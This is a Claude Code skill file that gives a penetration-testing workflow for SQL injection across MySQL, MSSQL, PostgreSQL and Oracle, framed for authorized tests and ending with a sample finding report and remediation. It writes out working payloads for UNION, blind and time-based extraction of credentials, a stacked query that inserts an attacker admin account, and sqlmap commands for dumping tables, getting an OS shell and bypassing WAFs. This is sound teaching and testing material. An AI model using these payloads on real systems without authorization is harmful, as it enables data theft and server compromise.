exploiting-sql-injection-vulnerabilities — скилл для Claude Code

---
name: exploiting-sql-injection-vulnerabilities
description: 'Identifies and exploits SQL injection vulnerabilities in web applications
  during authorized penetration tests using manual techniques and automated tools
  like sqlmap. The tester detects injection points through error-based, union-based,
  blind boolean, and time-based blind techniques across all major database engines
  (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication
  bypass, and potential remote code execution. Activates for requests involving SQL
  injection testing, SQLi exploitation, database security assessment, or injection
  vulnerability verification.

  '
domain: cybersecurity
subdomain: penetration-testing
tags:
- SQL-injection
- sqlmap
- database-security
- OWASP-A03
- injection-testing
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- ID.RA-01
- ID.RA-06
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1055
---
# Exploiting SQL Injection Vulnerabilities

## When to Use

- Testing web application input parameters for SQL injection vulnerabilities during an authorized penetration test
- Validating that parameterized queries and input sanitization are properly implemented across all database interactions
- Demonstrating the business impact of a confirmed SQL injection vulnerability by extracting sensitive data
- Verifying that WAF rules and input validation controls effectively block SQL injection payloads
- Testing stored procedures, dynamic SQL, and ORM bypass scenarios in enterprise applications

**Do not use** against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.

## Prerequisites

- Written authorization specifying the target application and permissible level of exploitation (detection only vs. full exploitation)
- Burp Suite Professional configured as an intercepting proxy to capture and modify HTTP requests
- sqlmap installed with current version for automated detection and exploitation
- Knowledge of the target database engine (MySQL, PostgreSQL, MSSQL, Oracle) or ability to fingerprint it
- Test accounts at various privilege levels to test injection in authenticated contexts

## Workflow

### Step 1: Injection Point Discovery

Identify parameters that interact with the database:

- **Map all input vectors**: Catalog every parameter in URLs (GET), request bodies (POST), HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), and JSON/XML API payloads
- **Error-based detection**: Inject a single quote (`'`) into each parameter and observe the response. SQL errors (e.g., "You have an error in your SQL syntax", "unterminated quoted string", "ORA-01756") confirm the parameter reaches the database unsanitized.
- **Boolean-based detection**: Inject `' AND 1=1--` (true condition) and `' AND 1=2--` (false condition). If the responses differ (different content length, different data returned, different HTTP status), the parameter is injectable.
- **Time-based detection**: Inject `'; WAITFOR DELAY '0:0:5'--` (MSSQL), `' AND SLEEP(5)--` (MySQL), or `'; SELECT pg_sleep(5)--` (PostgreSQL). A 5-second response delay confirms injection.
- **Out-of-band detection**: Use payloads that trigger DNS or HTTP requests to a Burp Collaborator domain to confirm injection in scenarios where responses are not directly observable.
- **Second-order injection**: Test for injection where input is stored and later used in a different SQL query (e.g., username stored at registration, used in a query on the profile page).

### Step 2: Database Fingerprinting

Determine the database engine and version to select appropriate exploitation techniques:

- **Error-based fingerprinting**: Each database produces distinctive error messages. MySQL includes "MySQL", MSSQL mentions "SQL Server", PostgreSQL references "PG", Oracle contains "ORA-".
- **Function-based fingerprinting**: Inject database-specific functions:
  - MySQL: `' AND VERSION()--` or `' AND @@version--`
  - MSSQL: `' AND @@version--` or `' AND DB_NAME()--`
  - PostgreSQL: `' AND version()--`
  - Oracle: `' AND banner FROM v$version--`
- **String concatenation differences**: MySQL uses `CONCAT('a','b')` or `'a' 'b'`, MSSQL uses `'a'+'b'`, PostgreSQL uses `'a'||'b'`, Oracle uses `'a'||'b'`
- **Comment syntax**: MySQL supports `#` and `-- `, MSSQL uses `-- `, PostgreSQL uses `-- `, Oracle uses `-- `

### Step 3: Manual Exploitation Techniques

Exploit confirmed injection points using technique-appropriate methods:

- **UNION-based extraction**: Determine the number of columns with `ORDER BY` incrementing (`' ORDER BY 1--`, `' ORDER BY 2--`, etc. until an error occurs). Then construct UNION SELECT to extract data:
  ```
  ' UNION SELECT NULL,username,password,NULL FROM users--
  ```
- **Error-based extraction** (MySQL): Use `EXTRACTVALUE` or `UPDATEXML` to force data into error messages:
  ```
  ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--
  ```
- **Blind boolean extraction**: Extract data one character at a time by testing character values:
  ```
  ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
  ```
- **Time-based blind extraction**: Same character-by-character approach using time delays:
  ```
  ' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--
  ```
- **Stacked queries** (where supported): Execute additional SQL statements:
  ```
  '; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--
  ```

### Step 4: Automated Exploitation with sqlmap

Use sqlmap for efficient exploitation of confirmed injection points:

- **Basic detection**: `sqlmap -u "https://target.com/page?id=1" --batch --random-agent` to detect injection and identify the database
- **Extract databases**: `sqlmap -u "https://target.com/page?id=1" --dbs` to list all databases
- **Extract tables**: `sqlmap -u "https://target.com/page?id=1" -D <database> --tables` to list tables
- **Extract data**: `sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5` to extract table contents
- **POST parameters**: `sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username` to test POST parameters
- **Cookie injection**: `sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2` to test cookie parameters (mark injectable parameter with *)
- **OS command execution** (if DB user has sufficient privileges): `sqlmap -u "https://target.com/page?id=1" --os-shell` to attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL)
- **Tamper scripts**: `sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between` to bypass WAF filters

### Step 5: Impact Demonstration and Reporting

Document the full impact of the SQL injection vulnerability:

- **Data extraction evidence**: Capture screenshots or sqlmap output showing extracted database names, table schemas, and sample records (redact actual PII in the report)
- **Authentication bypass**: Demonstrate login bypass with `admin' OR 1=1--` and document the bypassed authentication mechanism
- **Privilege escalation**: If the database user has DBA privileges, document what additional capabilities are available (file read/write, command execution)
- **Lateral movement potential**: Document if the database server has network access to other internal systems that could be reached through OS-level access gained via SQLi
- **Remediation**: Provide specific code-level fixes showing the vulnerable query and the corrected parameterized version

## Key Concepts

| Term | Definition |
|------|------------|
| **SQL Injection** | A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations |
| **Union-Based SQLi** | Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response |
| **Blind SQL Injection** | Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays |
| **Parameterized Query** | A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection |
| **Second-Order Injection** | SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time |
| **Stacked Queries** | Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection |
| **WAF Bypass** | Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation |

## Tools & Systems

- **sqlmap**: Automated SQL injection detection and exploitation tool supporting 6 injection techniques across 30+ database management systems
- **Burp Suite Professional**: HTTP proxy for intercepting, modifying, and replaying requests with SQL injection payloads across all parameter types
- **Havij**: GUI-based SQL injection tool used for rapid automated exploitation when sqlmap is not available
- **jSQL Injection**: Java-based SQL injection tool with GUI supporting automatic injection, database extraction, and file read/write

## Common Scenarios

### Scenario: SQL Injection in Healthcare Patient Portal

**Context**: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.

**Approach**:
1. Map all parameters in the patient portal; identify that the appointment detail page uses `/appointment?id=4521`
2. Inject a single quote into the id parameter; receive a MySQL error confirming the parameter is injectable
3. Use `ORDER BY` to determine the query returns 7 columns
4. Construct UNION SELECT to extract table names from information_schema, discovering tables: patients, medical_records, billing, admin_users
5. Extract admin_users table to reveal 5 administrator accounts with MD5-hashed passwords
6. Demonstrate that patient medical records for all patients are accessible by querying the medical_records table through the injection point
7. Document that 15,000+ patient records containing PHI (protected health information) are accessible, constituting a HIPAA violation

**Pitfalls**:
- Running sqlmap with default settings against a production database and causing excessive load or data corruption
- Extracting and storing actual patient data during the assessment rather than limiting proof to record counts and schema
- Not testing for second-order injection in stored procedures called by the application
- Failing to test all parameter types (cookies, headers, JSON body) and only testing URL parameters

## Output Format

```
## Finding: SQL Injection in Appointment Detail Parameter

**ID**: SQLI-001
**Severity**: Critical (CVSS 9.8)
**Affected URL**: GET /appointment?id=4521
**Parameter**: id (GET parameter)
**Database**: MySQL 8.0.32
**Injection Type**: Error-based, UNION-based

**Description**:
The appointment detail page concatenates the 'id' URL parameter directly into
a SQL query without parameterization or input validation. This allows an attacker
to inject arbitrary SQL statements and extract data from any table in the database.

**Proof of Concept**:
Request: GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
Response: Returns admin usernames and MD5 password hashes in the page content.

**Data Accessible**:
- patients table: 15,247 records (name, DOB, SSN, address, phone)
- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)
- admin_users table: 5 accounts with MD5-hashed passwords
- billing table: 28,563 records (insurance details, payment information)

**Remediation**:
1. Replace string concatenation with parameterized queries:
   VULNERABLE:  $query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
   SECURE:      $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
                $stmt->execute([$_GET['id']]);
2. Implement input validation to reject non-integer values for the id parameter
3. Apply least-privilege database permissions (read-only for the web application user)
4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth
```